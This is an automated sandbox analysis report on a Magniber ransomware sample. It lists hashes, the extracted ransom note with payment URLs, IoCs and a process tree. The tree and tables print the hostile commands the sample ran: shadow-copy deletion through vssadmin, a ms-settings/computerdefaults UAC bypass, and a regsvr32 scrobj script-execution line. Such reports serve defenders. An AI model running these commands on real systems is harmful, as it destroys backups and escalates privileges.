magniber | 1814a6a6749684cdacd792374e0ba31b7be4ff6f9675f3fd15d543afbb540367

Resubmissions

22-11-2021 21:15

211122-z39naacab6 10

Analysis

max time kernel
149s
max time network
122s
platform
windows10_x64
resource
win10-en-20211104
submitted
22-11-2021 21:15

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General

Target

1814a6a6749684cdacd792374e0ba31b7be4ff6f9675f3fd15d543afbb540367.exe
Size

22KB
MD5

7906dc475a8ae55ffb5af7fd3ac8f10a
SHA1

e7304e2436dc0eddddba229f1ec7145055030151
SHA256

1814a6a6749684cdacd792374e0ba31b7be4ff6f9675f3fd15d543afbb540367
SHA512

c087b3107295095e9aca527d02b74c067e96ca5daf5457e465f8606dbf4809027faedf65d77868f6fb8bb91a1438e3d0169e59efddf1439bbd3adb3e23a739a1

Score

10^/10

magniber ransomware

Malware Config

Extracted

Path

C:\Users\Admin\Desktop\readme.txt

Family

magniber

Ransom Note

ALL YOUR DOCUMENTS PHOTOS DATABASES AND OTHER IMPORTANT FILES HAVE BEEN ENCRYPTED! ==================================================================================================== Your files are NOT damaged! Your files are modified only. This modification is reversible. The only 1 way to decrypt your files is to receive the private key and decryption program. Any attempts to restore your files with the third party software will be fatal for your files! ==================================================================================================== To receive the private key and decryption program follow the instructions below: 1. Download "Tor Browser" from https://www.torproject.org/ and install it. 2. In the "Tor Browser" open your personal page here: http://46680cc05ef46e10c0eltalkfzj.n5fnrf4l7bdjhelx.onion/eltalkfzj Note! This page is available via "Tor Browser" only. ==================================================================================================== Also you can use temporary addresses on your personal page without using "Tor Browser": http://46680cc05ef46e10c0eltalkfzj.jobsbig.cam/eltalkfzj http://46680cc05ef46e10c0eltalkfzj.boxgas.icu/eltalkfzj http://46680cc05ef46e10c0eltalkfzj.sixsees.club/eltalkfzj http://46680cc05ef46e10c0eltalkfzj.nowuser.casa/eltalkfzj Note! These are temporary addresses! They will be available for a limited amount of time!

URLs

http://46680cc05ef46e10c0eltalkfzj.n5fnrf4l7bdjhelx.onion/eltalkfzj

http://46680cc05ef46e10c0eltalkfzj.jobsbig.cam/eltalkfzj

http://46680cc05ef46e10c0eltalkfzj.boxgas.icu/eltalkfzj

http://46680cc05ef46e10c0eltalkfzj.sixsees.club/eltalkfzj

http://46680cc05ef46e10c0eltalkfzj.nowuser.casa/eltalkfzj

Signatures

Magniber Ransomware
Ransomware family widely seen in Asia being distributed by the Magnitude exploit kit.
ransomware magniber

Process spawned unexpected child process 12 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2772	3212	cmd.exe	101
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2688	3212	cmd.exe	101
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	1956	3212	cmd.exe	101
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	3496	3212	cmd.exe	101
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	4260	3212	cmd.exe	101
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	4296	3212	cmd.exe	101
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	4324	3212	cmd.exe	101
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	4360	3212	cmd.exe	101
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	4436	3212	cmd.exe	101
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	4472	3212	cmd.exe	101
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	4496	3212	cmd.exe	101
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	4540	3212	cmd.exe	101

Modifies extensions of user files 2 IoCs

Ransomware generally changes the extension on encrypted files.

ransomware

description	ioc	Process
File renamed	C:\Users\Admin\Pictures\NewMerge.png => C:\Users\Admin\Pictures\NewMerge.png.eltalkfzj	sihost.exe
File renamed	C:\Users\Admin\Pictures\ConvertMeasure.png => C:\Users\Admin\Pictures\ConvertMeasure.png.eltalkfzj	sihost.exe

Suspicious use of SetThreadContext 6 IoCs

description	pid	Process	procid_target
PID 2772 set thread context of 2348	2772	1814a6a6749684cdacd792374e0ba31b7be4ff6f9675f3fd15d543afbb540367.exe	37
PID 2772 set thread context of 2368	2772	1814a6a6749684cdacd792374e0ba31b7be4ff6f9675f3fd15d543afbb540367.exe	36
PID 2772 set thread context of 2500	2772	1814a6a6749684cdacd792374e0ba31b7be4ff6f9675f3fd15d543afbb540367.exe	32
PID 2772 set thread context of 3036	2772	1814a6a6749684cdacd792374e0ba31b7be4ff6f9675f3fd15d543afbb540367.exe	26
PID 2772 set thread context of 3480	2772	1814a6a6749684cdacd792374e0ba31b7be4ff6f9675f3fd15d543afbb540367.exe	24
PID 2772 set thread context of 3756	2772	1814a6a6749684cdacd792374e0ba31b7be4ff6f9675f3fd15d543afbb540367.exe	23

Program crash 1 IoCs

pid	pid_target	Process	procid_target
2888	3756	WerFault.exe	23

Modifies registry class 29 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-1042495040-510797905-2613508344-1000_Classes\ms-settings\shell\open\command	RuntimeBroker.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1042495040-510797905-2613508344-1000_Classes\ms-settings\shell\open\command\ = "C:\\Windows\\system32\\wbem\\wmic process call create \"vssadmin.exe Delete Shadows /all /quiet\""	cmd.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{4336a54d-038b-4685-ab02-99bb52d3fb8b}\Instance	Explorer.EXE
Key created	\REGISTRY\USER\S-1-5-21-1042495040-510797905-2613508344-1000_Classes\CLSID\{018D5C66-4533-4307-9B53-224DE2ED1FE6}\Instance	Explorer.EXE
Key created	\REGISTRY\USER\S-1-5-21-1042495040-510797905-2613508344-1000_Classes\ms-settings\shell\open\command	svchost.exe
Key created	\REGISTRY\USER\S-1-5-21-1042495040-510797905-2613508344-1000_Classes\ms-settings\shell\open\command	Explorer.EXE
Set value (int)	\REGISTRY\USER\S-1-5-21-1042495040-510797905-2613508344-1000_Classes\ms-settings\shell\open\command\DelegateExecute = "0"	taskhostw.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1042495040-510797905-2613508344-1000_Classes\ms-settings\shell\open\command\ = "C:\\Windows\\system32\\wbem\\wmic process call create \"vssadmin.exe Delete Shadows /all /quiet\""	sihost.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-1042495040-510797905-2613508344-1000_Classes\ms-settings\shell\open\command\DelegateExecute = "0"	svchost.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-1042495040-510797905-2613508344-1000_Classes\ms-settings\shell\open\command\DelegateExecute = "0"	RuntimeBroker.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1042495040-510797905-2613508344-1000_Classes\ms-settings\shell\open\command\ = "regsvr32.exe scrobj.dll /s /u /n /i:C:\\Users\\Public\\readme.txt"	svchost.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-1042495040-510797905-2613508344-1000_Classes\ms-settings\shell\open\command\DelegateExecute = "0"	Explorer.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-1042495040-510797905-2613508344-1000_Classes\ms-settings\shell\open\command\ = "C:\\Windows\\system32\\wbem\\wmic process call create \"vssadmin.exe Delete Shadows /all /quiet\""	Explorer.EXE
Key created	\REGISTRY\USER\S-1-5-21-1042495040-510797905-2613508344-1000_Classes\ms-settings\shell\open\command	cmd.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-1042495040-510797905-2613508344-1000_Classes\ms-settings\shell\open\command\DelegateExecute = "0"	sihost.exe
Key created	\REGISTRY\USER\S-1-5-21-1042495040-510797905-2613508344-1000_Classes\ms-settings\shell\open\command	taskhostw.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1042495040-510797905-2613508344-1000_Classes\ms-settings\shell\open\command\ = "regsvr32.exe scrobj.dll /s /u /n /i:C:\\Users\\Public\\readme.txt"	taskhostw.exe
Key created	\REGISTRY\USER\S-1-5-21-1042495040-510797905-2613508344-1000_Classes\ms-settings\shell\open\command	sihost.exe
Key created	\REGISTRY\USER\S-1-5-21-1042495040-510797905-2613508344-1000_Classes\ms-settings\shell	sihost.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1042495040-510797905-2613508344-1000_Classes\ms-settings\shell\open\command\ = "regsvr32.exe scrobj.dll /s /u /n /i:C:\\Users\\Public\\readme.txt"	sihost.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1042495040-510797905-2613508344-1000_Classes\ms-settings\shell\open\command\ = "regsvr32.exe scrobj.dll /s /u /n /i:C:\\Users\\Public\\readme.txt"	Explorer.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-1042495040-510797905-2613508344-1000_Classes\ms-settings\shell\open\command\ = "C:\\Windows\\system32\\wbem\\wmic process call create \"vssadmin.exe Delete Shadows /all /quiet\""	taskhostw.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1042495040-510797905-2613508344-1000_Classes\ms-settings\shell\open\command\ = "regsvr32.exe scrobj.dll /s /u /n /i:C:\\Users\\Public\\readme.txt"	RuntimeBroker.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1042495040-510797905-2613508344-1000_Classes\ms-settings\shell\open\command\ = "regsvr32.exe scrobj.dll /s /u /n /i:C:\\Users\\Public\\readme.txt"	cmd.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-1042495040-510797905-2613508344-1000_Classes\ms-settings\shell\open\command\DelegateExecute = "0"	cmd.exe
Key created	\REGISTRY\USER\S-1-5-21-1042495040-510797905-2613508344-1000_Classes\ms-settings	sihost.exe
Key created	\REGISTRY\USER\S-1-5-21-1042495040-510797905-2613508344-1000_Classes\ms-settings\shell\open	sihost.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1042495040-510797905-2613508344-1000_Classes\ms-settings\shell\open\command\ = "C:\\Windows\\system32\\wbem\\wmic process call create \"vssadmin.exe Delete Shadows /all /quiet\""	svchost.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1042495040-510797905-2613508344-1000_Classes\ms-settings\shell\open\command\ = "C:\\Windows\\system32\\wbem\\wmic process call create \"vssadmin.exe Delete Shadows /all /quiet\""	RuntimeBroker.exe

Opens file in notepad (likely ransom note) 1 IoCs

ransomware

pid	Process
1312	notepad.exe

Suspicious behavior: EnumeratesProcesses 14 IoCs

pid	Process
2772	1814a6a6749684cdacd792374e0ba31b7be4ff6f9675f3fd15d543afbb540367.exe
2772	1814a6a6749684cdacd792374e0ba31b7be4ff6f9675f3fd15d543afbb540367.exe
2888	WerFault.exe
2888	WerFault.exe
2888	WerFault.exe
2888	WerFault.exe
2888	WerFault.exe
2888	WerFault.exe
2888	WerFault.exe
2888	WerFault.exe
2888	WerFault.exe
2888	WerFault.exe
2888	WerFault.exe
2888	WerFault.exe

Suspicious behavior: GetForegroundWindowSpam 1 IoCs

pid	Process
3036	Explorer.EXE

Suspicious behavior: MapViewOfSection 6 IoCs

pid	Process
2772	1814a6a6749684cdacd792374e0ba31b7be4ff6f9675f3fd15d543afbb540367.exe
2772	1814a6a6749684cdacd792374e0ba31b7be4ff6f9675f3fd15d543afbb540367.exe
2772	1814a6a6749684cdacd792374e0ba31b7be4ff6f9675f3fd15d543afbb540367.exe
2772	1814a6a6749684cdacd792374e0ba31b7be4ff6f9675f3fd15d543afbb540367.exe
2772	1814a6a6749684cdacd792374e0ba31b7be4ff6f9675f3fd15d543afbb540367.exe
2772	1814a6a6749684cdacd792374e0ba31b7be4ff6f9675f3fd15d543afbb540367.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	2888	WerFault.exe
Token: SeShutdownPrivilege	3036	Explorer.EXE
Token: SeCreatePagefilePrivilege	3036	Explorer.EXE
Token: SeShutdownPrivilege	3036	Explorer.EXE
Token: SeCreatePagefilePrivilege	3036	Explorer.EXE
Token: SeShutdownPrivilege	3036	Explorer.EXE
Token: SeCreatePagefilePrivilege	3036	Explorer.EXE
Token: SeShutdownPrivilege	3036	Explorer.EXE
Token: SeCreatePagefilePrivilege	3036	Explorer.EXE
Token: SeShutdownPrivilege	3036	Explorer.EXE
Token: SeCreatePagefilePrivilege	3036	Explorer.EXE
Token: SeShutdownPrivilege	3036	Explorer.EXE
Token: SeCreatePagefilePrivilege	3036	Explorer.EXE
Token: SeShutdownPrivilege	3036	Explorer.EXE
Token: SeCreatePagefilePrivilege	3036	Explorer.EXE
Token: SeShutdownPrivilege	3036	Explorer.EXE
Token: SeCreatePagefilePrivilege	3036	Explorer.EXE
Token: SeShutdownPrivilege	3036	Explorer.EXE
Token: SeCreatePagefilePrivilege	3036	Explorer.EXE
Token: SeShutdownPrivilege	3036	Explorer.EXE
Token: SeCreatePagefilePrivilege	3036	Explorer.EXE
Token: SeShutdownPrivilege	3036	Explorer.EXE
Token: SeCreatePagefilePrivilege	3036	Explorer.EXE
Token: SeShutdownPrivilege	3036	Explorer.EXE
Token: SeCreatePagefilePrivilege	3036	Explorer.EXE
Token: SeShutdownPrivilege	3036	Explorer.EXE
Token: SeCreatePagefilePrivilege	3036	Explorer.EXE
Token: SeShutdownPrivilege	3036	Explorer.EXE
Token: SeCreatePagefilePrivilege	3036	Explorer.EXE
Token: SeShutdownPrivilege	3036	Explorer.EXE
Token: SeCreatePagefilePrivilege	3036	Explorer.EXE
Token: SeIncreaseQuotaPrivilege	1904	WMIC.exe
Token: SeSecurityPrivilege	1904	WMIC.exe
Token: SeTakeOwnershipPrivilege	1904	WMIC.exe
Token: SeLoadDriverPrivilege	1904	WMIC.exe
Token: SeSystemProfilePrivilege	1904	WMIC.exe
Token: SeSystemtimePrivilege	1904	WMIC.exe
Token: SeProfSingleProcessPrivilege	1904	WMIC.exe
Token: SeIncBasePriorityPrivilege	1904	WMIC.exe
Token: SeCreatePagefilePrivilege	1904	WMIC.exe
Token: SeBackupPrivilege	1904	WMIC.exe
Token: SeRestorePrivilege	1904	WMIC.exe
Token: SeShutdownPrivilege	1904	WMIC.exe
Token: SeDebugPrivilege	1904	WMIC.exe
Token: SeSystemEnvironmentPrivilege	1904	WMIC.exe
Token: SeRemoteShutdownPrivilege	1904	WMIC.exe
Token: SeUndockPrivilege	1904	WMIC.exe
Token: SeManageVolumePrivilege	1904	WMIC.exe
Token: 33	1904	WMIC.exe
Token: 34	1904	WMIC.exe
Token: 35	1904	WMIC.exe
Token: 36	1904	WMIC.exe
Token: SeShutdownPrivilege	3036	Explorer.EXE
Token: SeCreatePagefilePrivilege	3036	Explorer.EXE
Token: SeShutdownPrivilege	3036	Explorer.EXE
Token: SeCreatePagefilePrivilege	3036	Explorer.EXE
Token: SeIncreaseQuotaPrivilege	4044	WMIC.exe
Token: SeSecurityPrivilege	4044	WMIC.exe
Token: SeTakeOwnershipPrivilege	4044	WMIC.exe
Token: SeLoadDriverPrivilege	4044	WMIC.exe
Token: SeSystemProfilePrivilege	4044	WMIC.exe
Token: SeSystemtimePrivilege	4044	WMIC.exe
Token: SeProfSingleProcessPrivilege	4044	WMIC.exe
Token: SeIncBasePriorityPrivilege	4044	WMIC.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 2348 wrote to memory of 1312	2348	sihost.exe	70
PID 2348 wrote to memory of 1312	2348	sihost.exe	70
PID 2348 wrote to memory of 1092	2348	sihost.exe	71
PID 2348 wrote to memory of 1092	2348	sihost.exe	71
PID 2348 wrote to memory of 600	2348	sihost.exe	72
PID 2348 wrote to memory of 600	2348	sihost.exe	72
PID 2348 wrote to memory of 3448	2348	sihost.exe	74
PID 2348 wrote to memory of 3448	2348	sihost.exe	74
PID 2368 wrote to memory of 608	2368	svchost.exe	78
PID 2368 wrote to memory of 608	2368	svchost.exe	78
PID 2368 wrote to memory of 912	2368	svchost.exe	81
PID 2368 wrote to memory of 912	2368	svchost.exe	81
PID 3448 wrote to memory of 1904	3448	cmd.exe	86
PID 3448 wrote to memory of 1904	3448	cmd.exe	86
PID 3036 wrote to memory of 1248	3036	Explorer.EXE	82
PID 3036 wrote to memory of 1248	3036	Explorer.EXE	82
PID 3036 wrote to memory of 840	3036	Explorer.EXE	85
PID 3036 wrote to memory of 840	3036	Explorer.EXE	85
PID 600 wrote to memory of 4044	600	cmd.exe	88
PID 600 wrote to memory of 4044	600	cmd.exe	88
PID 912 wrote to memory of 1288	912	cmd.exe	87
PID 912 wrote to memory of 1288	912	cmd.exe	87
PID 2500 wrote to memory of 2408	2500	taskhostw.exe	92
PID 2500 wrote to memory of 2408	2500	taskhostw.exe	92
PID 2500 wrote to memory of 968	2500	taskhostw.exe	89
PID 2500 wrote to memory of 968	2500	taskhostw.exe	89
PID 3480 wrote to memory of 3124	3480	RuntimeBroker.exe	93
PID 3480 wrote to memory of 3124	3480	RuntimeBroker.exe	93
PID 3480 wrote to memory of 3020	3480	RuntimeBroker.exe	94
PID 3480 wrote to memory of 3020	3480	RuntimeBroker.exe	94
PID 608 wrote to memory of 2940	608	cmd.exe	97
PID 608 wrote to memory of 2940	608	cmd.exe	97
PID 2772 wrote to memory of 2128	2772	cmd.exe	102
PID 2772 wrote to memory of 2128	2772	cmd.exe	102
PID 2772 wrote to memory of 1820	2772	cmd.exe	98
PID 2772 wrote to memory of 1820	2772	cmd.exe	98
PID 840 wrote to memory of 3452	840	cmd.exe	103
PID 840 wrote to memory of 3452	840	cmd.exe	103
PID 1248 wrote to memory of 2232	1248	cmd.exe	106
PID 1248 wrote to memory of 2232	1248	cmd.exe	106
PID 2408 wrote to memory of 2196	2408	cmd.exe	104
PID 2408 wrote to memory of 2196	2408	cmd.exe	104
PID 968 wrote to memory of 1200	968	cmd.exe	105
PID 968 wrote to memory of 1200	968	cmd.exe	105
PID 2128 wrote to memory of 3988	2128	cmd.exe	107
PID 2128 wrote to memory of 3988	2128	cmd.exe	107
PID 3020 wrote to memory of 1544	3020	cmd.exe	108
PID 3020 wrote to memory of 1544	3020	cmd.exe	108
PID 3124 wrote to memory of 1432	3124	cmd.exe	109
PID 3124 wrote to memory of 1432	3124	cmd.exe	109
PID 1820 wrote to memory of 1412	1820	cmd.exe	110
PID 1820 wrote to memory of 1412	1820	cmd.exe	110
PID 1956 wrote to memory of 4148	1956	cmd.exe	119
PID 1956 wrote to memory of 4148	1956	cmd.exe	119
PID 2688 wrote to memory of 4160	2688	cmd.exe	121
PID 2688 wrote to memory of 4160	2688	cmd.exe	121
PID 3496 wrote to memory of 4172	3496	cmd.exe	120
PID 3496 wrote to memory of 4172	3496	cmd.exe	120
PID 2772 wrote to memory of 4208	2772	cmd.exe	122
PID 2772 wrote to memory of 4208	2772	cmd.exe	122
PID 4260 wrote to memory of 4600	4260	cmd.exe	139
PID 4260 wrote to memory of 4600	4260	cmd.exe	139
PID 4324 wrote to memory of 4644	4324	cmd.exe	140
PID 4324 wrote to memory of 4644	4324	cmd.exe	140

C:\Windows\system32\DllHost.exe
C:\Windows\system32\DllHost.exe /Processid:{3EB3C877-1F16-487C-9050-104DBCD66683}
1⤵
PID:3756
- C:\Windows\system32\WerFault.exe
  C:\Windows\system32\WerFault.exe -u -p 3756 -s 812
  2⤵
  - Program crash
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2888

C:\Windows\System32\RuntimeBroker.exe
C:\Windows\System32\RuntimeBroker.exe -Embedding
1⤵
- Modifies registry class
- Suspicious use of WriteProcessMemory
PID:3480
- C:\Windows\System32\cmd.exe
  cmd.exe /c "%SystemRoot%\system32\wbem\wmic process call create "cmd /c computerdefaults.exe""
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3124
- - C:\Windows\system32\wbem\WMIC.exe
    C:\Windows\system32\wbem\wmic process call create "cmd /c computerdefaults.exe"
    3⤵
    PID:1432
- C:\Windows\System32\cmd.exe
  cmd.exe /c "%SystemRoot%\system32\wbem\wmic process call create "cmd /c computerdefaults.exe""
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3020
- - C:\Windows\system32\wbem\WMIC.exe
    C:\Windows\system32\wbem\wmic process call create "cmd /c computerdefaults.exe"
    3⤵
    PID:1544

C:\Windows\Explorer.EXE
C:\Windows\Explorer.EXE
1⤵
- Modifies registry class
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3036
- C:\Users\Admin\AppData\Local\Temp\1814a6a6749684cdacd792374e0ba31b7be4ff6f9675f3fd15d543afbb540367.exe
  "C:\Users\Admin\AppData\Local\Temp\1814a6a6749684cdacd792374e0ba31b7be4ff6f9675f3fd15d543afbb540367.exe"
  2⤵
  - Suspicious use of SetThreadContext
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious behavior: MapViewOfSection
  PID:2772
- - C:\Windows\SYSTEM32\cmd.exe
    cmd.exe /c "%SystemRoot%\system32\wbem\wmic process call create "cmd /c computerdefaults.exe""
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:1820
  - - C:\Windows\system32\wbem\WMIC.exe
      C:\Windows\system32\wbem\wmic process call create "cmd /c computerdefaults.exe"
      4⤵
      PID:1412
- - C:\Windows\SYSTEM32\cmd.exe
    cmd.exe /c "%SystemRoot%\system32\wbem\wmic process call create "cmd /c computerdefaults.exe""
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:2128
  - - C:\Windows\system32\wbem\WMIC.exe
      C:\Windows\system32\wbem\wmic process call create "cmd /c computerdefaults.exe"
      4⤵
      PID:3988
- C:\Windows\system32\cmd.exe
  cmd.exe /c "%SystemRoot%\system32\wbem\wmic process call create "cmd /c computerdefaults.exe""
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1248
- - C:\Windows\system32\wbem\WMIC.exe
    C:\Windows\system32\wbem\wmic process call create "cmd /c computerdefaults.exe"
    3⤵
    PID:2232
- C:\Windows\system32\cmd.exe
  cmd.exe /c "%SystemRoot%\system32\wbem\wmic process call create "cmd /c computerdefaults.exe""
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:840
- - C:\Windows\system32\wbem\WMIC.exe
    C:\Windows\system32\wbem\wmic process call create "cmd /c computerdefaults.exe"
    3⤵
    PID:3452

c:\windows\system32\taskhostw.exe
taskhostw.exe {222A245B-E637-4AE9-A93F-A59CA119A75E}
1⤵
- Modifies registry class
- Suspicious use of WriteProcessMemory
PID:2500
- \??\c:\windows\system32\cmd.exe
  cmd.exe /c "%SystemRoot%\system32\wbem\wmic process call create "cmd /c computerdefaults.exe""
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:968
- - C:\Windows\system32\wbem\WMIC.exe
    C:\Windows\system32\wbem\wmic process call create "cmd /c computerdefaults.exe"
    3⤵
    PID:1200
- \??\c:\windows\system32\cmd.exe
  cmd.exe /c "%SystemRoot%\system32\wbem\wmic process call create "cmd /c computerdefaults.exe""
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2408
- - C:\Windows\system32\wbem\WMIC.exe
    C:\Windows\system32\wbem\wmic process call create "cmd /c computerdefaults.exe"
    3⤵
    PID:2196

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k unistacksvcgroup -s CDPUserSvc
1⤵
- Modifies registry class
- Suspicious use of WriteProcessMemory
PID:2368
- \??\c:\windows\system32\cmd.exe
  cmd.exe /c "%SystemRoot%\system32\wbem\wmic process call create "cmd /c computerdefaults.exe""
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:608
- - C:\Windows\system32\wbem\WMIC.exe
    C:\Windows\system32\wbem\wmic process call create "cmd /c computerdefaults.exe"
    3⤵
    PID:2940
- \??\c:\windows\system32\cmd.exe
  cmd.exe /c "%SystemRoot%\system32\wbem\wmic process call create "cmd /c computerdefaults.exe""
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:912
- - C:\Windows\system32\wbem\WMIC.exe
    C:\Windows\system32\wbem\wmic process call create "cmd /c computerdefaults.exe"
    3⤵
    PID:1288

c:\windows\system32\sihost.exe
sihost.exe
1⤵
- Modifies extensions of user files
- Modifies registry class
- Suspicious use of WriteProcessMemory
PID:2348
- \??\c:\windows\system32\notepad.exe
  notepad.exe C:\Users\Public\readme.txt
  2⤵
  - Opens file in notepad (likely ransom note)
  PID:1312
- \??\c:\windows\system32\cmd.exe
  cmd /c "start http://46680cc05ef46e10c0eltalkfzj.jobsbig.cam/eltalkfzj^&1^&33189843^&50^&259^&2215063"
  2⤵
  PID:1092
- \??\c:\windows\system32\cmd.exe
  cmd.exe /c "%SystemRoot%\system32\wbem\wmic process call create "cmd /c computerdefaults.exe""
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:600
- - C:\Windows\system32\wbem\WMIC.exe
    C:\Windows\system32\wbem\wmic process call create "cmd /c computerdefaults.exe"
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:4044
- \??\c:\windows\system32\cmd.exe
  cmd.exe /c "%SystemRoot%\system32\wbem\wmic process call create "cmd /c computerdefaults.exe""
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3448
- - C:\Windows\system32\wbem\WMIC.exe
    C:\Windows\system32\wbem\wmic process call create "cmd /c computerdefaults.exe"
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:1904

C:\Windows\system32\cmd.exe
cmd /c computerdefaults.exe
1⤵
- Process spawned unexpected child process
- Modifies registry class
- Suspicious use of WriteProcessMemory
PID:2772
- C:\Windows\system32\ComputerDefaults.exe
  computerdefaults.exe
  2⤵
  PID:4208

C:\Windows\system32\cmd.exe
cmd /c computerdefaults.exe
1⤵
- Process spawned unexpected child process
- Suspicious use of WriteProcessMemory
PID:2688
- C:\Windows\system32\ComputerDefaults.exe
  computerdefaults.exe
  2⤵
  PID:4160

C:\Windows\system32\cmd.exe
cmd /c computerdefaults.exe
1⤵
- Process spawned unexpected child process
- Suspicious use of WriteProcessMemory
PID:1956
- C:\Windows\system32\ComputerDefaults.exe
  computerdefaults.exe
  2⤵
  PID:4148

C:\Windows\system32\cmd.exe
cmd /c computerdefaults.exe
1⤵
- Process spawned unexpected child process
- Suspicious use of WriteProcessMemory
PID:3496
- C:\Windows\system32\ComputerDefaults.exe
  computerdefaults.exe
  2⤵
  PID:4172

C:\Windows\system32\cmd.exe
cmd /c computerdefaults.exe
1⤵
- Process spawned unexpected child process
- Suspicious use of WriteProcessMemory
PID:4260
- C:\Windows\system32\ComputerDefaults.exe
  computerdefaults.exe
  2⤵
  PID:4600

C:\Windows\system32\cmd.exe
cmd /c computerdefaults.exe
1⤵
- Process spawned unexpected child process
PID:4296
- C:\Windows\system32\ComputerDefaults.exe
  computerdefaults.exe
  2⤵
  PID:4688

C:\Windows\system32\cmd.exe
cmd /c computerdefaults.exe
1⤵
- Process spawned unexpected child process
- Suspicious use of WriteProcessMemory
PID:4324
- C:\Windows\system32\ComputerDefaults.exe
  computerdefaults.exe
  2⤵
  PID:4644

C:\Windows\system32\cmd.exe
cmd /c computerdefaults.exe
1⤵
- Process spawned unexpected child process
PID:4360
- C:\Windows\system32\ComputerDefaults.exe
  computerdefaults.exe
  2⤵
  PID:4712

C:\Windows\system32\cmd.exe
cmd /c computerdefaults.exe
1⤵
- Process spawned unexpected child process
PID:4436
- C:\Windows\system32\ComputerDefaults.exe
  computerdefaults.exe
  2⤵
  PID:4832

C:\Windows\system32\cmd.exe
cmd /c computerdefaults.exe
1⤵
- Process spawned unexpected child process
PID:4472
- C:\Windows\system32\ComputerDefaults.exe
  computerdefaults.exe
  2⤵
  PID:4856

C:\Windows\system32\cmd.exe
cmd /c computerdefaults.exe
1⤵
- Process spawned unexpected child process
PID:4496
- C:\Windows\system32\ComputerDefaults.exe
  computerdefaults.exe
  2⤵
  PID:4772

C:\Windows\system32\cmd.exe
cmd /c computerdefaults.exe
1⤵
- Process spawned unexpected child process
PID:4540
- C:\Windows\system32\ComputerDefaults.exe
  computerdefaults.exe
  2⤵
  PID:4784

Network

MITRE ATT&CK Matrix

Replay Monitor

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Downloads

memory/2348-130-0x000001EDC71C0000-0x000001EDC71C4000-memory.dmp

Filesize
16KB

Download
memory/2772-122-0x00000214D4C80000-0x00000214D4C81000-memory.dmp

Filesize
4KB

Download
memory/2772-125-0x00000214D6B70000-0x00000214D6B71000-memory.dmp

Filesize
4KB

Download
memory/2772-124-0x00000214D6B60000-0x00000214D6B61000-memory.dmp

Filesize
4KB

Download
memory/2772-119-0x00000214D4C50000-0x00000214D4C51000-memory.dmp

Filesize
4KB

Download
memory/2772-167-0x00000214D71F0000-0x00000214D71F1000-memory.dmp

Filesize
4KB

Download
memory/2772-128-0x00000214D6BC0000-0x00000214D6BC1000-memory.dmp

Filesize
4KB

Download
memory/2772-118-0x00000214D4B00000-0x00000214D4B06000-memory.dmp

Filesize
24KB

Download
memory/2772-121-0x00000214D4C70000-0x00000214D4C71000-memory.dmp

Filesize
4KB

Download
memory/2772-120-0x00000214D4C60000-0x00000214D4C61000-memory.dmp

Filesize
4KB

Download
memory/2772-123-0x00000214D6B50000-0x00000214D6B51000-memory.dmp

Filesize
4KB

Download
memory/2772-127-0x00000214D6BB0000-0x00000214D6BB1000-memory.dmp

Filesize
4KB

Download
memory/2772-129-0x00000214D6BD0000-0x00000214D6BD1000-memory.dmp

Filesize
4KB

Download
memory/2772-126-0x00000214D6BA0000-0x00000214D6BA1000-memory.dmp

Filesize
4KB

Download